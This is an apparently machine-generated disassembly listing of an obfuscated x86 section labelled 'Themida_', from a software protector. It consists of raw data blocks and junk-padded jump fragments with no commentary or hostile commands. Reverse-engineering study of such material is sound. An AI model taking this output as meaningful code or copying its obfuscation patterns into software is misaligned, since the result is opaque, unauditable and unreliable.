		dd 5B2434FFh, 4EC81h, 1C890000h, 6AE95024h, 5500010Ah
		dd 4BDh, 5DEB0100h, 8B241C87h, 4332424h, 24043124h, 8B240433h
		dd 0F662424h, 6866C8B6h, 89662170h, 0E6E9240Ch
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FBEB:				; CODE XREF: Themida_:0056E1B8j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	0
		sub	[esp], esi
		pop	esi
		push	edi
		jmp	loc_564B4E
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 148B04C4h, 1936E924h, 3C8B0000h, 4C48124h
		dd 53000000h, 8E9E389h,	57000092h, 0C781E789h, 4, 61CBE9h
		dd 0FFF82D00h, 0B850BFCBh, 2FEA791Eh, 0FFF5FCE9h, 2434FFFFh
		dd 5A2434FFh, 58B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FC4D:				; CODE XREF: Themida_:00562C72j
		push	105Fh
		mov	[esp], edx
		mov	dx, 4B78h
		push	bp
		mov	bp, 1C1Dh
		jmp	loc_56CD40
; ---------------------------------------------------------------------------


loc_55FC64:				; CODE XREF: Themida_:0056FFB4j
		neg	edx
		and	edx, 508D465Eh
		xor	edx, 34DF0050h
		xor	esi, edx
		pop	edx
		xor	esi, 59163A0Dh
		sub	ebx, esi
		mov	esi, [esp]
		jmp	loc_569041
; ---------------------------------------------------------------------------
		db 55h,	68h, 0E6h
		dd 5D5BFC15h, 1F44E9h, 2C895C00h, 81E58924h, 4C5h, 4EC8100h
		dd 89000000h, 4BE2434h,	81000000h, 0F056FAC5h, 0CFC5811Bh
		dd 16B6005h, 0CFED81F5h, 526B6005h, 576126BAh, 7DEA8112h
		dd 8116163Ah, 3B1765E2h, 52C2811Dh, 8128D22Dh, 0DD4DDEEAh
		dd 0FE69E92Fh, 0B0500000h, 58C28899h, 9CE9D388h
		db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FCEF:				; CODE XREF: Themida_:00564884j
		push	edx
		mov	dl, ch
		mov	bh, dl
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		mov	[ecx], bh
		pop	ebx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_573E80
; ---------------------------------------------------------------------------


loc_55FD0C:				; CODE XREF: Themida_:0055EEB1j
		push	eax
		mov	eax, 11841899h
		shl	eax, 7
		or	eax, 2E492A77h
		or	eax, 1E195910h
		add	eax, 5E5F0C3Ch
		add	eax, 0C5B4996h
		xor	ecx, eax
		jmp	loc_564C19
; ---------------------------------------------------------------------------
		dd 575AD001h, 0DC98E9h,	68575600h, 68EF3C67h, 61EF815Fh
		dd 8117B756h, 94CF2FEFh, 5FFE894Fh, 0A220AB05h,	2DF0011Eh
		dd 1EA220ABh, 2434FF5Eh, 0E289525Ah, 4C281h, 0C2810000h
		dd 4, 31241433h, 14332414h, 24248B24h, 0F592E952h, 2B2D0000h
		dd 10AF220h, 0FAD8E9C8h, 48F0000h, 48F5C24h, 24248B24h
		dd 0B04C483h, 0E0840FC0h, 8100008Ah, 4ECh, 241C8900h, 4EE66856h
		dd 8EE90622h, 810000EBh, 64315AEFh, 0C781472Fh,	7DA9AD8Ch
		dd 9FEFE9h, 0E92CB300h,	0E23Ah,	6E9C15Ch, 9D41E953h, 4B90000h
		dd 29000000h, 1C8759CBh, 4895C24h, 9F56824h, 4CE90B47h
		dd 56FFFFFBh, 3C1DE9h, 4C48100h, 0E9000000h, 9080h, 0E904C383h
		dd 8A81h, 158C201h, 75EA81F2h, 5E343C40h, 4EC81h, 0C890000h
		dd 0E9595424h, 0A99Dh
; ---------------------------------------------------------------------------


loc_55FE28:				; CODE XREF: Themida_:0056AA29j
		sub	edi, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56F9F7
; ---------------------------------------------------------------------------
		dd 4C481h, 0C7810000h, 6CD1646Dh, 0EF81C701h, 6CD1646Dh
		dd 0DAA9E9h, 18E98100h,	0E90FB950h, 12DFEh, 543A68h, 7FBBE900h
		dd 0F3010000h, 8324348Bh, 0FF5304C4h, 0E9042474h, 1068Ch
; ---------------------------------------------------------------------------


loc_55FE74:				; CODE XREF: Themida_:0056D03Aj
		pop	edi
		add	ebp, eax
		pop	eax
		jmp	loc_560AC4
; ---------------------------------------------------------------------------
		db 0BEh, 1Dh, 7Ah
		dd 0EE815623h, 10CA11EEh, 134668h, 24048900h, 72006CB8h
		dd 3686E961h, 26040001h, 0B652F828h, 16EE803Ch,	148BF028h
		dd 0E0895024h, 405h, 40500h, 4870000h, 1E87E924h, 8B660000h
		dd 8E68240Ch, 89000021h, 0E6892434h, 4C681h, 0B8500000h
		dd 7C693900h, 0FFFF0540h, 63E9FFFFh, 6600001Dh,	0E9240489h
		dd 0FFFFEBE5h, 0EA81C201h, 4A5E16A9h, 5E08950h,	4, 79B7BD55h
		dd 0D5F76207h, 8644ED81h, 0E8299DF8h, 83242C8Bh, 43304C4h
		dd 24043124h, 0E9240433h, 228Ah, 576AB850h, 0C5892950h
		dd 0B339E958h, 74FF0000h, 8F5E0424h, 248B2404h,	0C8856624h
		dd 0EB8FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF42:				; CODE XREF: Themida_:0056D0F5j
		push	ecx
		jmp	loc_573DDC
; ---------------------------------------------------------------------------
dword_55FF48	dd 0E9241487h, 42E2h, 592D2F7h,	6BE61626h, 1204FD0Dh, 922D4075h
		dd 17A9408h, 24048BC2h,	81E68956h, 4C6h, 4C68300h, 2474FF56h
		dd 48F5E04h, 3B1AE924h,	0C1810001h, 4, 11B2CE9h, 0EBA6600h
		dd 0D7096615h, 0E3EE9h,	0E9C20100h, 1008Ah, 4FB3F781h
		dd 0EB813B77h, 19467C52h, 0C381FB01h, 19467C52h, 241C335Fh
		dd 33241C31h, 0F75C241Ch, 0DF268E9h, 14890000h,	3BF1E924h
		dd 0E9810000h, 4, 0E9240C87h, 0B40Ch, 4321E953h, 0EF810000h
		dd 1060AC1Ch, 3C8BFE01h, 4C48324h, 685EF001h, 4F2Dh, 51241489h
		dd 9652E9h, 0D0BD5500h,	50743002h, 0E56CE7B8h, 0EFD7E979h
		dd 0E9810000h, 0F37DDBDCh, 0A8E9CB01h
		db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56001F:				; CODE XREF: Themida_:0056C67Fj
		mov	ecx, 0EE700AEh
		jmp	loc_563342
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 57h
		dd 0A6438ABFh, 39ABE92Fh
		db 1, 0
; ---------------------------------------------------------------------------


loc_560036:				; CODE XREF: Themida_:00571B17j
		push	2988h
		jmp	loc_573332
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 55592434h, 0BF575D54h, 58CC7876h, 4F05E7C1h
		dd 611CF81h, 29E94612h
		db 9, 1, 0
; ---------------------------------------------------------------------------


loc_56005F:				; CODE XREF: Themida_:00560849j
		mov	ebx, esi
		pop	esi
		push	ebx
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5736B7
; ---------------------------------------------------------------------------


loc_56006E:				; CODE XREF: Themida_:0057143Ej
		add	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 7452B03h
		not	ebx
		shl	ebx, 8
		add	ebx, 452B0404h
		jmp	loc_5739CF
; ---------------------------------------------------------------------------
		db 59h
		dd 8324048Bh, 0E26804C4h, 8900005Dh, 4BA2414h, 57000000h
		dd 0A316D7BFh, 5FF82901h, 8EE9D001h, 1FFFFFCh, 0C5835AD5h
		dd 242C3304h, 33242C31h, 248B242Ch, 2C1D2D24h, 0BB5338B1h
		dd 55531E33h, 717FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5600CD:				; CODE XREF: Themida_:00565ABAj
		shr	ecx, 2
		sub	ecx, 17BE8FD4h
		sub	eax, 7E0E2B95h
		jmp	loc_562F2A
; ---------------------------------------------------------------------------
aQsI		db 'Qéˆ',0
		align 2
aOSpb		db 'µ®(Ý[ép¡',0
		align 10h
		dd 4C681h, 0BA520000h, 4, 875AD601h, 685C2434h,	6F4Bh
		dd 0BF243C89h, 39DF3591h, 59FAF781h, 0C78148E6h, 0F20D9897h
		dd 5B5FF901h, 3BDF6852h, 295A1A83h, 2434FFD0h, 0E789575Ah
		dd 4C781h, 0C7830000h, 243C3304h, 33243C31h, 4AE9243Ch
		dd 8B000064h, 0C481243Ch, 4, 0D464E952h, 0C1810000h, 6F435CB5h
		dd 906C181h, 0D1013603h, 906E981h, 0E9503603h, 0E553h
		dd 87C6815Bh, 0F77E2C68h, 81EED1D6h, 51B694C6h,	5EF5312Ah
		dd 0E826E9h, 241C8900h,	155668h, 24348900h, 0F934DABEh
		dd 0B263E958h, 14890000h, 8410E924h, 3C870000h,	24248B24h
		dd 0BF243C89h, 2AF93A51h, 0BD55D7F7h, 0B3F32ABh, 6874ED81h
		dd 0DDF70C4Fh, 0DBC5814Dh, 81738B54h, 0D242CEDh, 5DEF292Ah
		dd 6D82EF81h, 0F7811EF8h, 37C30AC1h, 0FE12F781h, 0EE814FAFh
		dd 487706ACh, 0BEEB850h, 0F7487487h, 0AF835D0h,	9E053EB3h
		dd 1C26664h, 0FE2958C6h, 6388EE81h, 0C6817832h,	487706ACh
		dd 5E6C15Fh, 9AE9E6D1h
		db 22h,	1, 0
; ---------------------------------------------------------------------------


loc_56021B:				; CODE XREF: Themida_:005604B4j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56C984
; ---------------------------------------------------------------------------
		dw 0F131h
aBO		db '^Åo<',0
		dw 150h
		dd 0C6BE56CDh, 0C14E7355h, 0B95108E6h, 336A2B14h, 0E903E1C1h
		dd 30FEh, 5AD328h, 44ADE9D8h, 0E1890000h, 4C181h, 11E90000h
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_560263:				; CODE XREF: Themida_:005682E0j
		sub	esi, 0FFFFFFFFh
		sub	esi, 37161617h
		jmp	loc_566AA9
; ---------------------------------------------------------------------------


loc_560271:				; CODE XREF: Themida_:00560AD1j
		mov	[esp], ebx
		jmp	loc_566256
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 5F545724h, 4EC81h, 1C890000h, 4BB24h, 0BA520000h, 21DB5820h
		dd 4EAC14Ah, 0D6C7F281h, 0D70112CFh, 0F1C4E9h, 40062D00h
		dd 66E92F66h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5602AF:				; CODE XREF: Themida_:00566A63j
		xchg	esi, [esp]
		jmp	loc_56554A
; ---------------------------------------------------------------------------
aIRsvu		db '‰$$Ré¢U',0
		align 10h
		dd 81CD015Bh, 0D246E9EDh, 50E95908h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5602CF:				; CODE XREF: Themida_:00573130j
		pop	edx
		shr	bx, 3
		push	small 2013h
		mov	[esp], cx
		mov	cx, 5B65h
		add	bx, 5BB3h
		add	bx, cx
		jmp	loc_5612A2
; ---------------------------------------------------------------------------


loc_5602ED:				; CODE XREF: Themida_:0056A092j
		push	esi
		push	2530h
		mov	[esp], ebp
		mov	ebp, 2000000h
		push	ebx
		jmp	loc_5626F8
; ---------------------------------------------------------------------------
		db 0F7h, 0F1h, 50h
		dd 0EC815854h, 4, 0BF243C89h, 4, 86469005h, 2DF80161h
		dd 61864690h, 0E9243C8Bh, 136FFh, 0E9240C89h, 0BD06h, 0E92424D3h
		dd 0FFFFE799h, 31242C33h, 6EE9242Ch
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560343:				; CODE XREF: Themida_:0056F1D0j
		mov	eax, 29104677h
		mov	ecx, eax
		jmp	loc_56342A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 0B905E9h, 24543100h, 24148B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_565286
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 23BFE9h, 0C2815B00h,	2, 12A568h, 24148900h, 1378EE9h
		db 0
; ---------------------------------------------------------------------------


loc_56038D:				; CODE XREF: Themida_:0056333Dj
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_564E65
; ---------------------------------------------------------------------------


loc_5603A0:				; CODE XREF: Themida_:0056E4AFj
		sub	ecx, 1
		shr	ecx, 5
		push	esi
		mov	esi, 2D760E9Dh
		jmp	loc_56CABF
; ---------------------------------------------------------------------------
		dd 0ED9EE81h, 0FDE90939h, 100012Eh, 40BA52F3h, 510C7417h
		dd 13111E9h, 4C78100h, 83000000h, 3C3304C7h, 243C3124h
		dd 0E9243C33h, 2911h, 12BBA52h,	8FE95921h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5603EF:				; CODE XREF: Themida_:00563370j
		mov	ebx, 46195E95h
		push	2D3h
		jmp	loc_5675B3
; ---------------------------------------------------------------------------


loc_5603FE:				; CODE XREF: Themida_:0056F521j
		add	dword ptr [esp], 5B8D4494h
		sub	dword ptr [esp], 7FFE4010h
		sub	[esp], eax
		add	dword ptr [esp], 7FFE4010h
		sub	dword ptr [esp], 5B8D4494h
		pop	eax
		xor	eax, 0DC61A925h
		push	6934h
		mov	[esp], ecx
		mov	ecx, eax
		jmp	loc_56F433
; ---------------------------------------------------------------------------


loc_560432:				; CODE XREF: Themida_:005635FBj
		sub	esi, 0BD5FD9D0h
		mov	ebp, esi
		pop	esi
		push	edx
		mov	edx, 475108B5h
		jmp	loc_567848
; ---------------------------------------------------------------------------
		dw 0DAF6h
		dd 2CE3EA80h, 282D2C92h, 42D04D0h, 0CCEE992h, 0E2D10000h
		dd 6086F281h, 0FE95EA3h, 89000057h, 0E6892434h,	0D7BD5552h
		dd 0E956350Dh, 0A73Dh, 5024148Bh, 0EBE9E089h, 8100007Bh
		dd 4C6h, 24348700h, 0A750E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560492:				; CODE XREF: Themida_:005686F6j
		add	ecx, edx
		push	edx
		mov	edx, 16F905F1h
		sub	ecx, edx
		pop	edx
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_562CB1
; ---------------------------------------------------------------------------


loc_5604A6:				; CODE XREF: Themida_:0056060Cj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	0F8Fh
		jmp	loc_56021B
; ---------------------------------------------------------------------------


loc_5604B9:				; CODE XREF: Themida_:00561BA9j
		pop	edi
		jmp	loc_56C428
; ---------------------------------------------------------------------------


loc_5604BF:				; CODE XREF: Themida_:0056EA96j
		sub	al, 36h
		jmp	loc_565D62
; ---------------------------------------------------------------------------


loc_5604C6:				; CODE XREF: Themida_:00572A0Fj
		shl	ebx, 2
		dec	ebx
		shr	ebx, 1
		sub	ebx, 56D294AAh
		jmp	loc_5661DE
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F58103E5h, 3B0C68C9h, 0A14DF581h, 0EE01D703h, 50ABE9h
		dd 81D6F700h, 215D37F6h, 0F681462Dh, 7E36E911h,	475EF731h
		dd 74A9E947h, 0C4830000h, 34C0FE04h, 0BFEB80D5h, 0F7E9C328h
		db 21h,	1, 0
; ---------------------------------------------------------------------------


loc_560517:				; CODE XREF: Themida_:00569DA3j
		pop	edx
		push	ecx
		push	edx
		push	eax
		mov	eax, 2089782Ch
		jmp	loc_56E4A3
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 7F716304h, 247C0103h, 24448104h, 7F716304h, 607FE903h
		dd 0ED680000h, 5B060F62h, 5826C381h, 0DBF710ACh, 8106EBC1h
		dd 5AEEF1C3h, 3717E9FCh
		db 1, 0
; ---------------------------------------------------------------------------


loc_56055A:				; CODE XREF: Themida_:005646FEj
		xchg	eax, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_560E99
		push	7475h
		jmp	loc_57295C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5455240Ch, 12883E9h
		db 0
; ---------------------------------------------------------------------------


loc_56057D:				; CODE XREF: Themida_:00571A7Ej
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		and	ecx, eax
		jmp	loc_56CA5C
; ---------------------------------------------------------------------------
		db 83h,	0EBh, 4
		dd 5C241C87h, 0E9241489h, 160Eh, 0EDE9E089h, 5500012Eh
		dd 555E951h, 0D8310000h, 61CE68h, 24148900h, 0FFEC31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5605BD:				; CODE XREF: Themida_:00563B86j
		push	4B1Eh
		mov	[esp], edx
		jmp	loc_56CC8C
; ---------------------------------------------------------------------------


loc_5605CA:				; CODE XREF: Themida_:0056E7E0j
		mov	[esp], ecx
		add	dword ptr [esp], 645169C1h
		mov	esi, [esp]
		add	esp, 4
		push	4B18h
		mov	[esp], ecx
		push	65A6h
		mov	[esp], eax
		mov	eax, 289371E1h
		mov	ecx, 8CE4DBA2h
		jmp	loc_56703C
; ---------------------------------------------------------------------------
		db 5Fh,	0FFh, 34h
		dd 1D4DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560602:				; CODE XREF: Themida_:0056D005j
		push	edi
		mov	edi, 333C5536h
		add	[esp+4], edi
		jmp	loc_5604A6
; ---------------------------------------------------------------------------
		db 54h,	5Fh, 81h
		dd 4C7h, 0EC01E900h, 8B580000h,	0C4832414h, 2C38304h, 2474FF53h
		dd 2434FF04h, 0F3F8E95Bh, 2FBE0000h, 8902B57Eh,	0E7815EF7h
		dd 2EC0544Dh, 0E39BEF81h, 43E9B602h, 89000131h,	2A30E9E3h
		dd 0E2890001h, 4C281h, 0C2830000h, 0F8E2E902h, 0E801FFFFh
		dd 5D27752Dh, 37632D2Dh, 2C8B06C5h, 4C48324h, 6B69E9h
		dd 31F23100h, 83F231D6h, 565201EEh, 0FBE95E5Ah
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56068F:				; CODE XREF: Themida_:005656DEj
		pop	esp
		jmp	loc_560811
; ---------------------------------------------------------------------------


loc_560695:				; CODE XREF: Themida_:0056F4B3j
		mov	esi, esp
		push	ebp
		jmp	loc_573AA2
; ---------------------------------------------------------------------------
		db 0E9h, 2Fh, 0E4h
		dd 0E952FFFFh, 91EEh, 582434FFh, 4C481h, 34FF0000h, 0C4815924h
		dd 4, 1877C88h,	83241C8Bh, 6E904C4h, 66FFFFE4h,	66000268h
		dd 0E924048Bh, 8C83h, 243C895Ch, 9F57E9h, 0D0015E00h, 556D685Ah
		dd 5CE90000h, 810000DFh, 91716BE9h, 81E90141h, 91716BC1h
		dd 61C18141h, 8165A915h, 2B43F3E9h, 0E9575D32h,	3F86h
		dd 0BAE9028Fh, 59FFFFE3h, 6859C801h, 23D2h, 0BA241489h
		dd 51F92DA9h, 5AC28142h, 8123A050h, 6681FEC2h, 0E462E98Ah
		dd 8958FFFFh, 240C8BCBh, 53E68956h, 0A32306BBh,	0F08AE920h
		dd 483FFFFh, 2C8B0424h,	4C48124h, 81000000h, 4C5h, 0B0685000h
		dd 580B1558h, 321568h, 4B68E900h, 51590000h, 0C18034B1h
		dd 8BCB303Ch, 3DE9240Ch
		db 0FDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_560783:				; CODE XREF: Themida_:00562F0Bj
		mov	ebx, esp
		push	esi
		mov	esi, 4
		jmp	loc_56947E
; ---------------------------------------------------------------------------


loc_560790:				; CODE XREF: Themida_:0056D110j
		push	ebx
		mov	ebx, 24h
		add	ebx, 27D74BAh
		add	ebx, edi
		jmp	loc_5717C7
; ---------------------------------------------------------------------------
		db 89h
		dd 8FB850E5h, 312BF30Ah, 31C531E8h, 1C583E8h, 0BCE95695h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5607BB:				; CODE XREF: Themida_:00562E5Bj
		xor	eax, ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5713DC
; ---------------------------------------------------------------------------
		db 29h
		dd 0A2FEE9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5607D2:				; CODE XREF: Themida_:0057184Cj
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		jmp	loc_570DF2
; ---------------------------------------------------------------------------
aV_0		db '²Ù³v',0
		dd 0C3305AD3h, 8196858h, 4890000h, 0E9D3B024h, 0F337h
		dd 240C8B66h, 60E95457h, 51FFFFF3h, 42474FFh, 5E7CE9h
		db 0
; ---------------------------------------------------------------------------


loc_560811:				; CODE XREF: Themida_:00560690j
		push	edx
		mov	edx, esp
		jmp	loc_5630C4
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0E9560000h, 0A0FFh, 242C8B54h, 739BE9h, 5AD50100h
		dd 0ACBDE9h
		db 0
; ---------------------------------------------------------------------------


loc_560839:				; CODE XREF: Themida_:0056C00Aj
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, 7327127Dh
		add	esi, 0CAC05F4Fh
		jmp	loc_56005F
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 6F68243Ch, 5F6E962Fh, 0B1EE781h, 0E947668Eh,	3A58h
		dd 4330E958h, 5A660000h, 0AFE9F820h
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_560873:				; CODE XREF: Themida_:0057013Cj
		dec	edx
		add	edx, 1F920DD1h
		push	edi
		push	ebp
		mov	ebp, 68811B71h
		mov	edi, 0E4A52630h
		add	edi, 1EEC7571h
		jmp	loc_560B60
; ---------------------------------------------------------------------------


loc_560891:				; CODE XREF: Themida_:00573B7Fj
		xchg	esi, edi
		jmp	loc_56F0AB
; ---------------------------------------------------------------------------
		dd 5AF50568h, 2434FF10h, 4222E9h, 0DF895800h, 11C9EE9h
		dd 55E0D100h, 522AF1BDh, 5DE8091Bh, 31E95056h, 0D3FFFFE5h
		dd 0E99C242Ch, 0FFFFE209h
; ---------------------------------------------------------------------------


loc_5608C8:				; CODE XREF: Themida_:0056E7B6j
		pop	ebx
		shl	ebx, 5
		jmp	loc_56B43B
; ---------------------------------------------------------------------------
a1XvGmnxh	db '1ÃXV¾gmnXhÁ=',0
		dw 0E900h
		dd 3F3Bh, 67C380h, 67EB80D3h, 0CBB0505Ah, 0FE9BB252h, 5EAC0C2h
		dd 0C417E9h, 74FF5300h,	82E90424h, 52000059h, 0C3805BB6h
		dd 80F32811h, 15E911EBh, 680000DFh, 12Dh, 0E9242489h, 11EC5h
		dd 70E9565Eh
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56092B:				; CODE XREF: Themida_:0056F886j
		add	dh, 0F6h
		add	dh, bh
		sub	dh, 0F6h
		mov	bx, [esp]
		jmp	loc_566DA7
; ---------------------------------------------------------------------------
		dd 727CEB81h, 0DD01AD03h, 61C7685Bh, 50E90000h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56094F:				; CODE XREF: Themida_:0055F78Bj
		push	ebx
		mov	ebx, 54C520D7h
		xor	ebx, 0AB3ADF28h
		mov	esi, ebx
		pop	ebx
		add	ecx, esi
		pop	esi
		jmp	loc_56B16D
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0AB3686F3h, 4DE9D631h
		db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_560973:				; CODE XREF: Themida_:00572982j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 5D8C48B9h
		jmp	loc_55F8F1
; ---------------------------------------------------------------------------
		dw 575Ah
		dd 5F2414F7h, 1DFAE9h, 241C3100h, 8B241C33h, 19E92424h
		db 0F8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56099F:				; CODE XREF: Themida_:0056B56Dj
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_56A08B
; ---------------------------------------------------------------------------
		db 57h
		dd 22F6FBFh, 0DBC78129h, 8105EAF1h, 0C249DEC2h,	64C28137h
		dd 1437761h, 64EA81FAh,	81437761h, 0C249DEEAh, 6B82E937h
		dd 0C5010000h, 39FED81h, 8158390Eh, 4EDh, 242C8700h, 2404895Ch
		dd 0FEB8h, 1C472100h, 8324048Bh, 32E904C4h, 880000A4h
		dd 0E9CA88C1h, 0A660h, 5C240C33h, 13133E9h, 4C58300h, 10B6E9h
		dd 0B9BA5200h, 81727713h, 0E65699C1h, 81D1295Fh, 0E65699E9h
		dd 2434FF5Fh, 4C4835Ah,	8101C183h, 0AD6614E1h, 4EC8363h
		dd 0BB241C89h, 1C6523DAh, 0FFE21AE9h, 4C481FFh,	5E000000h
		dd 4C681h, 0BF570000h, 40F86B87h, 3101EF83h, 31F831C7h
		dd 0E9D0F7C7h, 117F1h, 0FE40CC80h, 2EC83C4h, 24148966h
		dd 60E989B2h, 4B000044h, 1059BE9h, 55E68900h, 7E06D1BDh
		dd 0C5814D42h, 0FFFFFFFFh, 0F7E9F587h, 8100001Ah, 4ECh
		dd 24348900h, 0D568E689h, 8900005Dh, 0CBE9241Ch, 0E9000004h
		dd 0FFFFE00Dh
; ---------------------------------------------------------------------------


loc_560AC4:				; CODE XREF: Themida_:0055FE78j
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_560271
; ---------------------------------------------------------------------------
		dw 0EBC1h
		dd 2E95205h, 8100008Ch,	360F3CC7h, 24048B33h, 53E18951h
		dd 63BF5752h, 0C128DA5Eh, 0C78106E7h, 0C9686744h, 73E9FA89h
		dd 57000048h, 934616BFh, 5FF98963h, 934612BDh, 59CD3163h
		dd 0A1E9EF01h
		db 17h,	1, 0
; ---------------------------------------------------------------------------


loc_560B1B:				; CODE XREF: Themida_:0056854Fj
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_572DD4
; ---------------------------------------------------------------------------
		db 0FFh
		dd 58042474h, 0E924048Fh, 0FFFFED91h, 5216B353h, 0B28FB450h
		dd 0E0C280E3h, 0E9B5EA80h, 455Dh
; ---------------------------------------------------------------------------


loc_560B60:				; CODE XREF: Themida_:0056088Cj
		add	edi, ebp
		sub	edi, 1EEC7571h
		pop	ebp
		or	edi, 15B13249h
		add	edi, 0ED24A5C3h
		sub	edx, 106159CEh
		sub	edx, edi
		add	edx, 106159CEh
		pop	edi
		jmp	loc_563F73
; ---------------------------------------------------------------------------


loc_560B89:				; CODE XREF: Themida_:00565690j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_564052
; ---------------------------------------------------------------------------
		dw 3487h
		dd 3EF3E924h, 0DD300000h, 4EDC05Bh, 0E905E5C0h,	7F82h
; ---------------------------------------------------------------------------


loc_560BB8:				; CODE XREF: Themida_:00561D40j
		mov	ecx, [esp]
		add	esp, 4
		pop	edi
		and	eax, ecx
		jmp	loc_57336D
; ---------------------------------------------------------------------------
		db 0B8h, 28h, 5Eh
		dd 29055257h, 0F772882Eh, 41FA2DD8h, 2D353766h,	2D76891Eh
		dd 13A30F25h, 0F758C289h, 53DAF7DAh, 9089E9h, 75E95100h
		dd 5C000047h, 0F180D9F6h, 81F18016h, 4EC81h, 14890000h
		dd 51CE8824h, 0E888F588h, 81240C8Bh, 4C4h, 34FF5A00h, 0E3E95924h
		dd 0BBFFFFF8h, 27E833C0h, 0B850D3F7h, 0AD525AB0h, 0CD03E9h
		dd 2C685800h, 89000058h, 0BE68241Ch, 8900006Ch,	4812424h
		dd 424h, 0A31AE900h, 34FF0000h,	0FAE95924h, 89000049h
		dd 0D4BA2414h, 831A8D14h, 7BE9FFEAh
		db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_560C6B:				; CODE XREF: Themida_:00568AAEj
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_570137
; ---------------------------------------------------------------------------
		dw 0F901h
		dd 13DFE981h, 87E94636h, 89000043h, 57BB241Ch, 0E97FFB57h
		dd 1B68h, 8904EC83h, 0BB53240Ch, 31EC1E19h, 8107E3C1h
		dd 0C4106AF3h, 4BCB8173h, 0E96BE903h, 2E7Eh
; ---------------------------------------------------------------------------


loc_560CB4:				; CODE XREF: Themida_:00572FD0j
		add	edi, 64E61403h
		push	esi
		mov	esi, 0BE001Dh
		add	ebx, esi
		pop	esi
		add	ebx, 64603797h
		add	ebx, edi
		push	esi
		mov	esi, 15AD7407h
		xor	esi, 71CD4390h
		sub	ebx, esi
		pop	esi
		sub	ebx, 0BE001Dh
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		jmp	loc_566E9E
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4C68100h, 56000000h, 42474FFh,	4A05E95Eh, 35680000h
		dd 8900000Ch, 0B0E9240Ch, 6800003Bh, 669Ch, 0B9240C89h
		dd 6792536Ch, 0C8BCF89h, 4C48324h, 0D7F7DFF7h, 0E907E7C1h
		dd 0A634h
; ---------------------------------------------------------------------------


loc_560D50:				; CODE XREF: Themida_:0056F2B4j
		mov	[esp], ebx
		push	edx
		mov	edx, 487D2909h
		add	[esp+4], edx
		pop	edx
		pop	esi
		push	eax
		mov	eax, esp
		jmp	loc_56CE7E
; ---------------------------------------------------------------------------


